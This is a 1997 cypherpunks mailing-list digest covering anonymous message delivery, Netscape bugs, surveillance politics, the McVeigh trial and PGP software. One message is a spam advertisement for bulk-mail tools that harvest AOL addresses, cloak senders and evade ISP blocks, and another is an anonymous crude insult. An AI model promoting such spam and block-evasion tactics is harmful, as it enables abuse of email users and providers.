Date: Tue, 17 Jun 1997 11:04:32 +0800
Subject: Receiving Messages Anonymously
Message-ID: 



Receiving anonymous messages is still an open problem.  The solutions
we have so far are cumbersome to operate.  They also depend on a chain
of machines remaining up and reliable for a long time, which is
expensive.

A quick solution is to use the list to send anonymous messages.  It is
inexpensive to tell if a message is encrypted for a key you control so
it is cheap to find messages you can read.

The nice thing about this solution is that it is quite difficult to
make a complete list of cypherpunk recipients given the multi-rooted
"tree" structure of the list.  There are leaves in many countries.
Even if every wire were tapped and tracked, it would be hard to
guarantee that people were not moving list traffic around on
diskettes.

To make filtering easy for people, I would suggest adding an
"X-Private-Message" field to the header.  For PGP messages, the
contents of this field could be "PGP-Key-Id:0xDEADBEEF".  (New formats
can be invented as new protocols are invented.)

Some people will object to this new form of "noise" message.  It
should be easy for somebody to set up a subsetted version of the list
which pre-filters the private messages.  (Although, how anybody can
read the raw list without a filter of their own is a mystery to me.)

A good reason to receive the complete list is that it conceals the
fact that you are receiving (or not receiving) anonymous messages.  If
you think you might ever in the future receive an anonymous message,
this will allow you to do so without revealing it.

This scheme could be attacked by actively intervening with the
propagation of the list and supplying people with different messages
depending on which branch of the "tree" they are on.  This could be
used successively to narrow the list of "suspects" receiving a certain
message.

There are two ways to prevent this.  One is to receive the list from
more than one source and compare the messages received.  If many
people are doing this, which is likely since each has a strong
motivation to detect this attack, then the first attempts should be
detected immediately.  The other method is to have a trusted person
post a signed list of message ids and checksums that have come down
the wire every day.

(Acknowledgement: This is probably a rehash of BlackNet.)

Peter







From plmojigyrud at aol.com  Tue Jun 17 11:09:26 1997
From: plmojigyrud at aol.com (Grayson)
Date: Tue, 17 Jun 1997 11:09:26 -0700 (PDT)
Subject: Tired of Not Making Money on the Internet?
Message-ID: <0aa165447011167NIH2WAAF@csi.com>


ROCKET Your Way To Wealth In Cyberspace


E-mail has proven to generate more response than any other form of communication. 

A Web site alone, posting through newsgroups and registering with a few search engines while placing a few classifieds just won't work.  What good is a Web page no one knows is there? 

Using Mass e-mail provides great rewards for very little effort, time or money  IF  YOU KNOW what you're doing.  
If you don't know what you're doing, This is what will happen:

Your Internet provider will SHUT YOU DOWN..
Your 800 phone bill WILL SOAR with nuisance calls.
Your e-mail box will EXPLODE with mail bombs.

It's not worth it to learn the hard way.

Capitalize on the failures of your competitors to identify and continuously reach the TRUE online consumers.  Get everything you need to know and use to produce MEGA INCOME ONLINE.

Why is it anyone who has ever used Floodgate,E-mail Magnet, NetContact or Lightening Bolt for on-line marketing been so disappointed with the results?

If you use any one of these programs with an ISP that frowns on Mass e-mail you are guaranteed to lose your account in a very short time.  What good are bulk email programs if you can't find a provider that will allow you to mass mail? Every one of these programs extract the same addresses from the same sources.  

If everyone's hitting the same prospects over and over, is it any wonder they get upset? 

UNTIL NOW, the 1000's of user's you really want to target have thus far gone un-noticed.  These are the users that are not active posting in the newsgroups and/or online classifieds.

Send your own bulk email to thousands of people, FOR FREE!

The complete BULKMAN-PRO Mailer Package comes with everything you need to  change your life.  There is nothing further to purchase.

BULKMAN PRO is compatible with Windows 3.1, Windows 3.11, Windows NT, and Windows 95.  All you need is an Internet connection.  Most online services or internet providers charge nothing to send e-mail.  Send your letter to 10,000 people or 100,000 people - the cost is always the same.  Nothing!

While the misinformed continue using such programs as Pegasus for sending mass e-mails to the same old prospects,  you'll be using BULKMAN-PRO to e-mail 16,000 + per day that are new and never have received mass email before.  Do you really have the time or desire to try and figure this out for yourself?

Stripping addresses yourself using the old methods is a time consuming, boring affair. You may see others shouting promises of how easy their program is, BUT while your competitor is actually mailing out their sales letter  you're  EITHER still stripping or stuck in the "I'll get to it" syndrome! 

If you buy and use any bulk e-mail list you will also get flamed, and/or mail bombed.  Your account will still be terminated.  These list are filled with traps, sysops, education, government and non-profit organizations just waiting to shut you down or post "Net Abuse" articles about you. Just because virtually every list is taken from names in newsgroups that are totally inappropriate to your product or service.  So, what seems like a bargain for $30 or $50 for a so-called million e-mail addresses will turn out to be a nightmare before it's over.

Learn how to create all the email addresses you will ever need on the fly without having to buy them or extract them from newsgroups, forums, membership directories, whatever - 100% deliverable too!  Push a button and have 100,000 addresses in no time.

Learn to identify All new users to the on-line world and email them before they leave (AND before anyone else could uncover them).

Keep your email address totally UNTRACEABLE!!!!  That's RIGHT - you will be able to mass e-mail without getting your account terminated.

Using the X-15 Rocket Mailer with the Bulk E-Mailer Tools & Guide will change your life.  The X-15 Rocket Mailer will enable you to sell like you've never sold before.  No other program even comes close to the successs you will find using the X-15.  Move light years ahead of the competition using the Bulk E-Mailer Tools & Guide.

WHAT YOU WILL RECEIVE WITH BULKMAN PRO

Bulkman Pro offers the following applications for the serious marketer who
isn't interested in "bulk hype"; just a serious application for making
serious money:

  CSAG address generator for generating thousands of addresses in minutes of
brand new members. No need to go hunting them down and extracting them from
online sources. On the average I can generate 5,000 100% deliverable
addresses of brand new members that NO ONE has mailed to in 5 minutes a
evening. Don't e-mail asking me how that is possible, I won't share the nuts
& bolts of it. This is a closely guarded trade secret that only is disclosed
to purchasers (I won't even allow images of it).

  X-15 mail system. X-15 not only sends your mail very quickly and easily,
it also will post messages to any number of selected newsgroups. If that
isn't enough, it will even extract addresses from any number of selected
newsgroups right off your host news server just like NetContact. You can
select to exclude any type of addresses from being captured very easily.

X-15 also has built in "Email Cloaking" to allow you to use your own local
ISP for sending your mail with, avoiding having to search for bulk friendly
ISP's or other undesirable means to accomplish mass mailings. Click here to
view X-15.

  ELM is a Email List Manager that will allow you to easily manage all your
lists with just your mouse. Here is some of the tasks accomplished by ELM:

   * 1) Compare and remove differences between any two lists.

   * 2) Merge any kind and number of lists and will auto sort and remove
     duplicates quickly.

   * 3) Split any list into smaller list.

   * 4) Generate targeted lists that matches your target audience to use
     with X-15 in mailing your message to.

   * 5) Generate AOL addresses from captured AOL chat rooms. AOL has over
     300,000 new members signing up a month, there is no other way of
     obtaining all these new members addresses than this. Using any other
     bulk mail program would only yield 5% of these new members!

   * 6) Auto extract 'remove' requests.

Complete users guide to help walk you along step by step in a hyper-link style format along with useful bonus software. Learn how to send mass e-mail ll the time without hassle and needing to join a service and for free if you wish. How to get around online services domain blocks so that all your
e-mail is assured of being delivered.

You will also receive software as a means to link you up to a mail gateway so that you can start sending mail thru right away without delay at
no cost or sign-up requirements if you so choose to use this option. You can
then securely send mass mail and post newsgroup messages anonymously. What a
deal!

If you are going to make MEGA Income in this business, there is only one way
to do it; and ONLY one way. I will reveal to you the right way so you can
stop doing it the wrong way. Let the competition continue doing it the old
way so you can cash in on their ignorance. You will NOT find this
information anywhere else. It is extremely confidential. You will be asked
to sign a non-disclosure with your order to prevent the disclosure of this
information.

If you are currently happy with your e-mail marketing, then it makes even
more sense to use this program to compliment your existing marketing to
maximize your marketing efforts because there is simply nothing like this!


BULKMAN-PRO was designed to sell for $1695.95
It is a Professional Bulk E-mail system.

Order within 10 days from the date on this message and you get:

The X-15 Rocket Mailer		Retail	$499.00
CSA Address Generator				$395.00
AOL Address Generator				$495.00
Bulk E-mail Tools & Guide				$299.00


Get the COMPLETE package for a INTRODUCTORY Price of $499.95 plus $3.50 Shipping & Handling.  All orders received after the tenth day following the date on this MESSAGE will be charged the normal discounted rate of $699.95 plus $3.50 Shipping & Handling

Also included if you order within the next 10 days:
BONUS*** FREE Newsgroup Posting device which allows you to
         post 1 or 1,000 newsgroups at once.
         FREE Bulk E-mail Extractor that allows you to                       	    extract e-mail addresses from the Internet.

SAVE $200 -  ORDER today!

Take Advantage of the 10 DAY DISCOUNT SPECIAL!

The BULKMAM PRO comes with a 100% UNCONDITIONAL MONEY BACK GUARANTEE.   You have everything to GAIN and NOTHING to lose!  

FOR YOUR CONVENIENCE WE ACCEPT ALL FORMS OF PAYMENT
CASH, CHECK, M.O., CREDIT CARD, CHECKS BY FAX, PHONE OR E-MAIL.

MAKE ALL CHECKS PAYABLE TO: PHOENIX INTERACTIVE

BULKMAN PRO is the complete Internet Business in a Box.

ROCKET YOUR WAY TO WEALTH IN CYBERSPACE!

NON-DISCLOSURE

I Agree not to reveal, make available the information I am to receive from Jim Smyser to anyone.  This information is confidential, and I hereby agree to keep it strictly confidential and to myself.

Signature: ____________________________________

GUARANTEE:  YOU HAVE A LIMITED 10 GRACE PERIOD in which you can return your purchase for full refund if it does not meet your requirements.  After 10 days there are no refunds.  Please understand this policy before ordering.

TO GUARANTEE YOU GET THE INTRODUCTORY PRICE
PLEASE INCLUDE A COPY OF THIS MESSAGE AND DATE RECEIVED.

(Name)_________________________________________
(Address)______________________________________
(City, State & Zip)____________________________
e-mail address ________________________________
WE ACCEPT CHECKS OVER THE TELEPHONE, OR BY FAX
for your orders.  
Fax your order to: 213-737-1497
Enclosed is a check for $___________
Check Ordering Info:
MAKE ALL CHECKS PAYABLE TO: PHOENIX INTERACTIVE
Name (exactly as it appears on check
_______________________________________
Check #				Dollar Amount
________________ 		$________________
Telephone #
__________________
Bank Name:
_____________________
Bank Address
______________________________________________
Numbers at Bottom of Check(read from left to right, please indicate blank spaces with a space:
________________________________________________
 
Charge My
(VISA) or (MASTERCARD) or (AMEX)
Number _ _ _ _ -_ _ _ _ -_ _ _ _ -_ _ _ _ 
Expiration Date _____    Approved ______________    
(card holder)  Credit Card orders call
1(213)-737-1494 

DISTRIBUTORS:

Snail mail Address 
Phoenix at Global Enterprises			Global Enterprises
P.O. Box 88506				7025 OldTrail Road Los Angeles, CA  90009	                                Suite9178	
		                                                Fort Wayne, IN                                                                                      46899

ANOTHER PHOENIX @ GLOBAL ASSOCIATION


 







 








From enoch at zipcon.net  Mon Jun 16 22:13:00 1997
From: enoch at zipcon.net (Mike Duvos)
Date: Tue, 17 Jun 1997 13:13:00 +0800
Subject: More about Netscape Bug finder
In-Reply-To: 
Message-ID: <199706170459.VAA17233@zipcon.net>



A few comments... 

Almost every non-trivial program which runs on a platform which does not
shield the OS from applications can be subverted to give access to the
target machine. 

This is hardly news.  The fact that a determined Dane with a debugger
managed to poke through the code and break something is neither
earth-shattering nor remarkable. 

In something the size of Netscape, I'm sure 999,999 exploits still remain. 
The company is hardly going to start writing checks every time someone
finds one of them.

Until all application software runs on secure virtual machines, or passes
bytecode verification and formal proofs of correctness, this problem will
continue to exist, not only in Netscape, but in every other large
application as well.

Big Yawn. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch at zipcon.net   $    via Finger.                      $






From rcgraves at disposable.com  Mon Jun 16 22:15:16 1997
From: rcgraves at disposable.com (Rich Graves)
Date: Tue, 17 Jun 1997 13:15:16 +0800
Subject: We need more surveillance--a morality play about terrorism
In-Reply-To: <3.0.2.32.19970616070059.0076d9c4@netcom13.netcom.com>
Message-ID: 



On Mon, 16 Jun 1997, Lucky Green wrote:

> At 05:02 PM 6/15/97 -0700, Rich Graves wrote:
[...]
> >Of course it probably helped that the guy was white, and probably
> >driving a "decent" car, and carrying "decent" guns and not some
> >"Saturday Night Special." 
> 
> The guy being white and educated may well have convinced the cop to not
> make a fuzz. My local newspaper recently ran an article about a few
> Hispanic looking folks who had some photographs of themselves holding guns
> in their hands developed at the supermarket. Before they even picked up the
> prints, the clerk had called the cops which in turn raided the unfortunate
> gun owners.
> 
> It turned out that the Hispanics owned the firearms legally.

I always knew you had a bleeding-heard liberal inside, just struggling to
come out. 

Yes, for some people, this is a police state. But the threat is not (just) 
the FBI/CIA/ATF/NSA; it's us. It's the people developing photos at the
supermarket who aren't comfortable with Hispanics and "ebonites" having
guns, and believe the police or TLAs should put a stop to it. Technical
capabilities don't oppress people; people do.

-rich
 http://www.stanford.edu/~llurch/






From randerso at ece.eng.wayne.edu  Mon Jun 16 22:22:34 1997
From: randerso at ece.eng.wayne.edu (Ryan Anderson)
Date: Tue, 17 Jun 1997 13:22:34 +0800
Subject: Anonymous proxies & ITAR question
In-Reply-To: <199706162249.RAA24929@mailhub.amaranth.com>
Message-ID: 



On Mon, 16 Jun 1997, William H. Geiger III wrote:

> If I went and rented a truck and there was a "roach" in the ashtray I
> should not be held accountable for possesion unless it could be proved
> that it was mine and not from someone else that had used the truck or even
> a worker at the retal shop.

But if you drive for several miles, and get pulled over for speeding, the
fact that it's still in the truck is probably going to land you in jail,
if the cop finds some reason to search the truck.  (The smell of marijuana
or seeing the roach sitting the ashtray are valid reasons I believe)

If you haven't disposed of it, you're probably going to land in jail.
>From the law enforcement's point of view, can you see any difference
between your story and that of a person who's actually smoking?  (Honest
officer, it was in the truck when I got in!)  the evidence is there, and
you'll probably need to depend on character witnesses to get out of a
conviction...

-----------------------------------------------------------------------
Ryan Anderson -      "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso at ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------






From stewarts at ix.netcom.com  Mon Jun 16 23:50:22 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Tue, 17 Jun 1997 14:50:22 +0800
Subject: Declan as a Budding Washington Insider
In-Reply-To: 
Message-ID: <3.0.2.32.19970616233000.0075a9f4@popd.ix.netcom.com>



At 10:10 AM 6/16/97 -0700, Tim May wrote:
>I wish Declan well, really. But his frequent name-dropping about soirees
>he's been invited to, bigwigs he's had power lunches with...well, I think
>the evolution has been set in motion. 

Foo ...  On a list with several millionares, people who make the 
New York Times Magazine cover, people who get in the Times for
successfully suing the NSA, college students who get covered on
National Public Radio, people who were in Wired before it was c001,
people who drop in on Esther in New York because they'll be too 
busy to see her at Hackers', people who were Xanadudes or SGML hackers
decades before the Web caught on, people who were on the Well
before that Grateful Dead lyricist got there, various wizards of
speed and time, folks who have Japanese tv crews show up for their parties
and already know Tim Leary when he drops... by, I'd say we have enough
people who are or know Silicon Valley insiders to really complain much
when people from the Other Coast talk about who _they_ had lunch with :-)


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From whgiii at amaranth.com  Tue Jun 17 00:13:22 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Tue, 17 Jun 1997 15:13:22 +0800
Subject: We need more surveillance--a morality play about terrorism
In-Reply-To: 
Message-ID: <199706170706.CAA31285@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In , on
06/16/97 
   at 10:04 PM, Rich Graves  said:


>On Mon, 16 Jun 1997, Lucky Green wrote:

>> At 05:02 PM 6/15/97 -0700, Rich Graves wrote:
>[...]
>> >Of course it probably helped that the guy was white, and probably
>> >driving a "decent" car, and carrying "decent" guns and not some
>> >"Saturday Night Special." 
>> 
>> The guy being white and educated may well have convinced the cop to not
>> make a fuzz. My local newspaper recently ran an article about a few
>> Hispanic looking folks who had some photographs of themselves holding guns
>> in their hands developed at the supermarket. Before they even picked up the
>> prints, the clerk had called the cops which in turn raided the unfortunate
>> gun owners.
>> 
>> It turned out that the Hispanics owned the firearms legally.

>I always knew you had a bleeding-heard liberal inside, just struggling to
>come out. 

>Yes, for some people, this is a police state. But the threat is not
>(just)  the FBI/CIA/ATF/NSA; it's us. It's the people developing photos
>at the supermarket who aren't comfortable with Hispanics and "ebonites"
>having guns, and believe the police or TLAs should put a stop to it.
>Technical capabilities don't oppress people; people do.

If it wasn't for the fact that we *are* living in a police state the
opions of a supermarket clerk would not be relevant.

If we were living in a Constutional democracy where the TLAs had to abide
by the laws of the land then the gestapo would have never even though of
raiding the Hispanic gun owners.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM6Y4Ho9Co1n+aLhhAQGTpQP/RyQ85jyjKpTNMvT95rrQu63vKiGcig2I
Cs1f5ffTFSdRUDQppMzQbjDffS1F7GlX4PlSWZItOwXz9EuWEc1ToIgJrSb1DbBb
atir3ivJh/VCLfj76gs9W/JQL90LAAw3asUEI3Myptw3CZ61A+E+UaVV+IFu+xKc
8t+YJ+OOndc=
=KJLr
-----END PGP SIGNATURE-----






From jmr at shopmiami.com  Tue Jun 17 00:38:50 1997
From: jmr at shopmiami.com (Jim Ray)
Date: Tue, 17 Jun 1997 15:38:50 +0800
Subject: Flag Burning...
Message-ID: <3.0.16.19970617032250.0d074edc@pop.gate.net>



-----BEGIN PGP SIGNED MESSAGE-----

At 09:52 AM 6/13/97 -6, Peter Trei wrote:
...

>Think about this:
>
>Would you rather people did not burn the flag because:
>
>1. They'll be thrown in the slammer if they do.
>2. The[y] revere the values for which it stands, and will not descrate a
>   meaningful symbol of these values.
>
>In (2), we can look at the (very rare) individuals who *do* burn the
>flag, and determine for ourselves if they have a valid point to 
>convey.  
>
>In (1), we'll never know.
>
>For Congress to deny the freedom to burn the flag is a desecration of what
>the flag stands for - a descration of the flag by the government itself.

(I'm on Ray's FCPUNKS, please cc me directly, my replies may be delayed
and this may have already been covered anyway. Probably was.)

1. Burning is a proper way to dispose of old flags, according to my
old boyscout handbook, so I guess this is thoughtcrime.

2. Why not outlaw desecrating the Bill of Rights? (Oh, yeah. Congress
does that daily right now...)

3. Since when was "the flag" sacred, anyway? Doesn't something have
to be sacred for it to be desecrated? Isn't this a secular country?

4. Doesn't this seem like a way _not_ to discuss the sea of red ink
that this country is currently drowning in, and just stir up folks'
emotions instead? Sure does to me...I wish veterans and others who
get hot under the collar about this would get 1/8 as pissed about
the national debt.

5. Burn my flag (or copy of the Bill of Rights) and you'll probably
wind up shot. Burn your own flag/copy and watch me yawn. This law
is a *particularly* stupid one.
JMR

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEPAwUBM6Y7IjUhsGSn1j2pAQFLCwfQyJd1lPvX/TJOu6draMvMuZW9fBSHQI09
vflL8+Po+Y8KS6v12qi8wsUsVSINYOL2SS+/BSu87GbqExLxgqDji5H3imH9lKmO
v7ipjyg8T9ybrKWinpkFGh/SWXNsJt6vsLltbRQgzurHRKVXAAs4KhCeHFUrwdQT
5GYh9CQkWsiyRW15/7iR2gkn3wcnZdnQBemFrTAIwswwuS9McyyluX+NO6a/nS27
HDU7aqlVtJ12i9eXY1yg60BGRK66fa4a/52XkIRe92mhWDp7soxDaeWTE4akCIiG
Hd2APfyVI+CAnaUlocgbg0o6j6nCe5ZKKB3JbX9sevA8Pw==
=Cytc
-----END PGP SIGNATURE-----

Regards, Jim Ray 
DNRC Minister of Encryption Advocacy

One of the "legitimate concerns of law enforcement" seems to be
that I was born innocent until proven guilty and not the other
way around. -- me

http://shopmiami.com/prs/jimray/    
PGP id.A7D63DA9 98 1F 39 BA 93 86 B4 F5  57 52 64 0E DA BA 2C 71







From frantz at netcom.com  Tue Jun 17 00:43:11 1997
From: frantz at netcom.com (Bill Frantz)
Date: Tue, 17 Jun 1997 15:43:11 +0800
Subject: Declan as a Budding Washington Insider
In-Reply-To: 
Message-ID: 



At 4:09 PM -0700 6/15/97, Tim May wrote:
>One way they buy people--very reminiscent of the methods used to recruit
>spies--is to feed reporters with information they can't get anywhere else,
>and swear them to secrecy. This ties them up in complicated webs of trust,
>mistrust, and deceit, and makes the reporters more dependent on them for
>future stories.

All reporters should carefully consider the example of I. F. Stone.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz at netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA







From rcgraves at disposable.com  Tue Jun 17 00:44:36 1997
From: rcgraves at disposable.com (Rich Graves)
Date: Tue, 17 Jun 1997 15:44:36 +0800
Subject: We need more surveillance--a morality play about terrorism
In-Reply-To: <199706170706.CAA31285@mailhub.amaranth.com>
Message-ID: 



-----BEGIN PGP SIGNED MESSAGE-----

On Tue, 17 Jun 1997, William H. Geiger III wrote:

> In , on
> 06/16/97 at 10:04 PM, Rich Graves  said:
> 
> >Yes, for some people, this is a police state. But the threat is not
> >(just)  the FBI/CIA/ATF/NSA; it's us. It's the people developing photos
> >at the supermarket who aren't comfortable with Hispanics and "ebonites"
> >having guns, and believe the police or TLAs should put a stop to it.
> >Technical capabilities don't oppress people; people do.
> 
> If it wasn't for the fact that we *are* living in a police state the
> opions of a supermarket clerk would not be relevant.
> 
> If we were living in a Constutional democracy where the TLAs had to abide
> by the laws of the land then the gestapo would have never even though of
> raiding the Hispanic gun owners.

What Gestapo? Lucky Green didn't tell the whole story, but it was my
impression he was talking about the local police or sheriff. They had local
police and sheriffs lo those glorious days of freedom of the antebellum
South, too. How else you expect people to protect their property? A man
can't stay awake watching for looters 24 hours a day, or if he does, he's
liable to start hallucinating and wasting ammunition. Gun control means
being able to keep your eyes open and shoot straight.

- -rich
 http://www.stanford.edu/~llurch/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQBVAwUBM6Y+85NcNyVVy0jxAQGsIgH/d0y5HKDEcM/5XtNjcv4CiNs1lR6MhEfj
+iNoPKrHDsLfQlNkLZblpl2HD7nBO0Ksbm9HVAuxgLz2lwl/d7oiwg==
=sy/w
-----END PGP SIGNATURE-----






From whgiii at amaranth.com  Tue Jun 17 00:53:06 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Tue, 17 Jun 1997 15:53:06 +0800
Subject: Anonymous proxies & ITAR question
In-Reply-To: 
Message-ID: <199706170746.CAA31615@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In , on 06/17/97 
   at 12:14 AM, Ryan Anderson  said:

>On Mon, 16 Jun 1997, William H. Geiger III wrote:

>> If I went and rented a truck and there was a "roach" in the ashtray I
>> should not be held accountable for possesion unless it could be proved
>> that it was mine and not from someone else that had used the truck or even
>> a worker at the retal shop.

>But if you drive for several miles, and get pulled over for speeding, the
>fact that it's still in the truck is probably going to land you in jail,
>if the cop finds some reason to search the truck.  (The smell of
>marijuana or seeing the roach sitting the ashtray are valid reasons I
>believe)

>If you haven't disposed of it, you're probably going to land in jail.
>>From the law enforcement's point of view, can you see any difference
>between your story and that of a person who's actually smoking?  (Honest
>officer, it was in the truck when I got in!)  the evidence is there, and
>you'll probably need to depend on character witnesses to get out of a
>conviction...

Well usually when someone gets nailed on somthing like this its in their
own vehicle. I would think that with it being a rental that one would have
plausible deniability and additional evidence would be required.

Ofcource if when you roll down the window a big cloud of some rolls out
(ala cheech & chong) that's another matter. :)

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM6ZBdI9Co1n+aLhhAQFloQQAogLfwKfeHP71rLxlRpz1pL09cyZXNZ5y
5S7k776XTvr5Iryt7NvO84uRI3qnjtbvuctoD+lANhZeKG4Cuj4KMUoioCqotRg/
5jeVC89CTnnorB07uDRGhVYCmlBoTBO3mDO3t4QkU60zdRdMcF6ydfppP0koys8w
xKjV562B6Dk=
=4zjf
-----END PGP SIGNATURE-----






From whgiii at amaranth.com  Tue Jun 17 01:03:27 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Tue, 17 Jun 1997 16:03:27 +0800
Subject: We need more surveillance--a morality play about terrorism
In-Reply-To: 
Message-ID: <199706170758.CAA31715@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In , on
06/17/97 
   at 12:39 AM, Rich Graves  said:


>-----BEGIN PGP SIGNED MESSAGE-----

>On Tue, 17 Jun 1997, William H. Geiger III wrote:

>> In , on
>> 06/16/97 at 10:04 PM, Rich Graves  said:
>> 
>> >Yes, for some people, this is a police state. But the threat is not
>> >(just)  the FBI/CIA/ATF/NSA; it's us. It's the people developing photos
>> >at the supermarket who aren't comfortable with Hispanics and "ebonites"
>> >having guns, and believe the police or TLAs should put a stop to it.
>> >Technical capabilities don't oppress people; people do.
>> 
>> If it wasn't for the fact that we *are* living in a police state the
>> opions of a supermarket clerk would not be relevant.
>> 
>> If we were living in a Constutional democracy where the TLAs had to abide
>> by the laws of the land then the gestapo would have never even though of
>> raiding the Hispanic gun owners.

>What Gestapo? Lucky Green didn't tell the whole story, but it was my
>impression he was talking about the local police or sheriff. They had
>local police and sheriffs lo those glorious days of freedom of the
>antebellum South, too. How else you expect people to protect their
>property? A man can't stay awake watching for looters 24 hours a day, or
>if he does, he's liable to start hallucinating and wasting ammunition.
>Gun control means being able to keep your eyes open and shoot straight.

Does it really matter if they are local thugs or federal??

Are they exempt from the Constitution because the county signs their
paycheck rather than an agency in DC??

I highly doubt that the Hispanics envolved really cared which government
the brown shirts were working for when their doors were kicked in.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM6ZEXI9Co1n+aLhhAQF8LwQAqR41GxNkeRy6DVwNJP7sRVikRNoFFTeV
FBdd5DRX6IM5oEe4QV1b/SxP1bwa7vAlpsOm8VsgmvMJRC4zHyJ62fqFzyhOuneM
3bBwEsdJjmhqoo8Sw1EbzQ9/AYAGL/iMGWHw3nKyzT+9lclAwoTWTTw9kvLdUd+o
bOhbAcUWohA=
=GHFW
-----END PGP SIGNATURE-----






From nobody at huge.cajones.com  Tue Jun 17 02:02:36 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 17 Jun 1997 17:02:36 +0800
Subject: McVeigh Sentence
Message-ID: <199706170849.BAA28709@fat.doobie.com>



  I was watching Dateline NBC interview the McVeigh jurors about the
trial and the interviewer asked them what they found to be the strongest
or most convincing evidence against McVeigh.
  A grandmotherly type answered that the most convincing of the evidence
against him was the pictures of the dead bodies.
  Perhaps the prosecution could have gotten McVeigh convicted on even
more charges if he had shown some pictures of heroin.

  I also watched McVeigh's lawyer give a statement that sounded like it
was prepared for him by the Whitehouse spin doctors.
  From the very first, right through to the end of the trial, I had the
feeling that McVeigh's lawyer seemed to be more of a spokesperson than
a lawyer. I've had lawyers show more skill and ferver in keeping my
dog out of the pound than he showed defending McVeigh.
  I don't know what exactly he was being paid $15 million for, but it
sure as hell wasn't for defending McVeigh. Even when he speaks about
the judge not allowing him to put on a real defense he acts like it's
just a minor matter of no real import.

  The only mystery in the trial was whether McVeigh was part of the
great pretense taking place or if he really thought his lawyer was
working in his best interests. I suspect that he's just naieve.
  I wouldn't place any large bets on MvVeigh living long enough to take
part in an Oklahoma City trial if that ever happens. The political
interests down there want more than just a showcase trial--they want
to find out the real story. Unless they get bought off or blackmailed
the Feds are going to have to bring Jack Ruby out of retirement.

TruthMonger







From dlv at bwalk.dm.com  Tue Jun 17 04:52:29 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 17 Jun 1997 19:52:29 +0800
Subject: Digiweb.com's Movie Boys
In-Reply-To: 
Message-ID: <6kwF9D29w165w@bwalk.dm.com>



Brad Shantz  writes:

> I already sent them the statutes against junk faxes (currently the only
> real spam-killer we have available), and reported them to a number of
> different agencies including the CAUCE.   Check out www.cauce.org for
> more information.

This thread had nothing to do with crypto and has taken more time and
effort to delete than the original troll.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From nobody at huge.cajones.com  Tue Jun 17 05:07:32 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 17 Jun 1997 20:07:32 +0800
Subject: [IMPORTANT] Accounts payable
Message-ID: <199706171153.EAA00765@fat.doobie.com>



Timmy C. May styles his facial hair to look more like pubic hair.

       .oooO           Oooo.
       (   )   _   _   (   )
        \ (   / ) ( \   ) /
     ----\_)-/ (---) \-(_/---- Timmy C. May
            (   ) (   )
            oooO   Oooo






From ea2onov at atlas.moa.net  Tue Jun 17 06:10:12 1997
From: ea2onov at atlas.moa.net (Silvakow)
Date: Tue, 17 Jun 1997 21:10:12 +0800
Subject: PGP for Windows 95
Message-ID: 



Has anyone yet checked out PGP for Windows 95?  It's $50 at stores 
right now.  Information from pgp.com, but I want to know more before 
I buy it.  Is it worth it?  Should I stick with PGP for DOS?  And 
does anyone know if those PGP public keys are compatible with DOS 
PGP?
|[(*+- Silvakow -+*)]|






From arunas at post1.com  Tue Jun 17 07:30:59 1997
From: arunas at post1.com (Arunas Norvaisa)
Date: Tue, 17 Jun 1997 22:30:59 +0800
Subject: PGP for Windows 95
Message-ID: <3.0.32.19970617171734.00688900@post1.com>



On 08:55 AM 97.06.17 +0000, Silvakow wrote (and I quoted):
>
>Has anyone yet checked out PGP for Windows 95?  It's $50 at stores 
>right now.  Information from pgp.com, but I want to know more before 
>I buy it.  Is it worth it?  Should I stick with PGP for DOS?  And 
>does anyone know if those PGP public keys are compatible with DOS 
>PGP?

